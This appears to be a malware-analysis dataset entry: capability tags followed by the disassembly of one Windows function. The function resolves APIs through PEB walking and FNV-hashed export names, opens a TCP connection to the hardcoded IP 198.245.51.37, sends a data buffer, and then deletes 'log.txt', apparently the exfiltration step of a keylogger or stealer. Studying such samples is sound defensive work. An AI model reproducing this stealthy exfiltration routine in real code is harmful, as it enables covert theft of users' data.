Function at 0x406150
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42228d
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x431078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x30]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1d8], ecx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1cc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1d4], ecx
cmp ecx, esi
je 0x4061f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4061f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x8e9dd5ff
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4061f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4061d5
cmp esi, 0x5ce9bc51
je 0x4061fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4061c0
mov eax, dword [eax]
jmp 0x406193
mov eax, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x1cc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x1c8]
push ecx
add eax, edx
push 0x202
call eax
test eax, eax
jne 0x40690b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1d4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1cc], ecx
cmp ecx, esi
je 0x4062a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4062a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x5a78bb0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4062a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x406285
cmp esi, 0xce40d379
je 0x4062ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x406270
mov eax, dword [eax]
jmp 0x406240
mov eax, dword [ebp - 0x1cc]
mov edx, dword [ebp - 0x1d4]
push 0
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 2
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [ebp - 0x1d4], eax
cmp eax, 0xffffffff
jne 0x406385
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1d8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1cc], ecx
cmp ecx, esi
je 0x406359
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x406359
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xa306fa0f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x406352
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x406335
cmp esi, 0x3770d3fc
je 0x40635d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x406320
mov eax, dword [eax]
jmp 0x4062f0
mov esi, dword [ebp - 0x1cc]
mov edx, dword [ebp - 0x1d8]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x40690b
mov eax, 2
mov word [ebp - 0x38], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1d0], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1cc], ecx
cmp ecx, esi
je 0x406409
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x406409
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x29fb02a1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x406402
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4063e5
cmp esi, 0xa1280191
je 0x40640d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4063d0
mov eax, dword [eax]
jmp 0x4063a0
mov eax, dword [ebp - 0x1cc]
mov edx, dword [ebp - 0x1d0]
push 0xb36a
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov word [ebp - 0x36], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1cc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1d0], ecx
cmp ecx, esi
je 0x4064a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4064a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x9cf7e613
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4064a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x406485
cmp esi, 0xe72c02c7
je 0x4064ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x406470
mov eax, dword [eax]
jmp 0x406443
mov eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1cc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
push ecx
push str.198.245.51.37
add eax, edx
push 2
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1cc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1d0], ecx
cmp ecx, esi
je 0x406559
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x406559
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x9ff5ac35
mov cl, byte [edx]
inc edx
test cl, cl
je 0x406552
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x406535
cmp esi, 0xa51b6669
je 0x40655d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x406520
mov eax, dword [eax]
jmp 0x4064f0
mov eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1cc]
push 0x10
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x38]
push ecx
push dword [ebp - 0x1d4]
add eax, edx
call eax
cmp eax, 0xffffffff
jne 0x4066be
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1cc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1d0], ecx
cmp ecx, esi
je 0x406609
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x406609
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xb2772f33
mov cl, byte [edx]
inc edx
test cl, cl
je 0x406602
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4065e5
cmp esi, 0xe6152c48
je 0x40660d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4065d0
mov eax, dword [eax]
jmp 0x4065a0
mov esi, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1cc]
push dword [ebp - 0x1d4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1cc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1d0], ecx
cmp ecx, esi
je 0x4066a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4066a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xc1798567
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4066a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x406685
cmp esi, 0xcd2f89f4
je 0x4066ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x406670
mov eax, dword [eax]
jmp 0x406642
mov esi, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1cc]
jmp 0x406369
mov ecx, dword [ebp - 0x1d8]
mov eax, dword [ecx + 0x10]
inc eax
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x1dc], eax
jb 0x4066dc
mov ecx, dword [ecx]
mov dword [ebp - 0x1d8], ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1cc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1d0], ecx
cmp ecx, esi
je 0x406759
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x406759
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x3e6fbcd2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x406752
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x406735
cmp esi, 0xdf1c44c0
je 0x40675d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x406720
mov eax, dword [eax]
jmp 0x4066f0
mov eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1cc]
push 0
push dword [ebp - 0x1dc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0x1d8]
add eax, edx
push ecx
push dword [ebp - 0x1d4]
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1d0], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1dc], ecx
cmp ecx, esi
je 0x406809
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x406809
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x3b60ad8f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x406802
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4067e5
cmp esi, 0xc9357a1c
je 0x40680d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4067d0
mov eax, dword [eax]
jmp 0x4067a0
mov eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1d0]
push dword [ebp - 0x1d4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1d0], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x1dc], ecx
cmp ecx, edx
je 0x4068a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4068a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax + eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x9ad7c84e
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4068a2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x406885
cmp esi, 0xfd48e23d
je 0x4068ad
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x406870
mov eax, dword [eax]
jmp 0x406840
mov eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1d0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x28]
push eax
call fcn.00406a30
add esp, 4
push str.log.txt
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.004013a0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.00408033
test edx, edx
jne 0x406927
lea ecx, [ebp - 0x28]
call fcn.00403170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408cb9
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
push eax
push edx
push str.remove
call fcn.004046d0
int3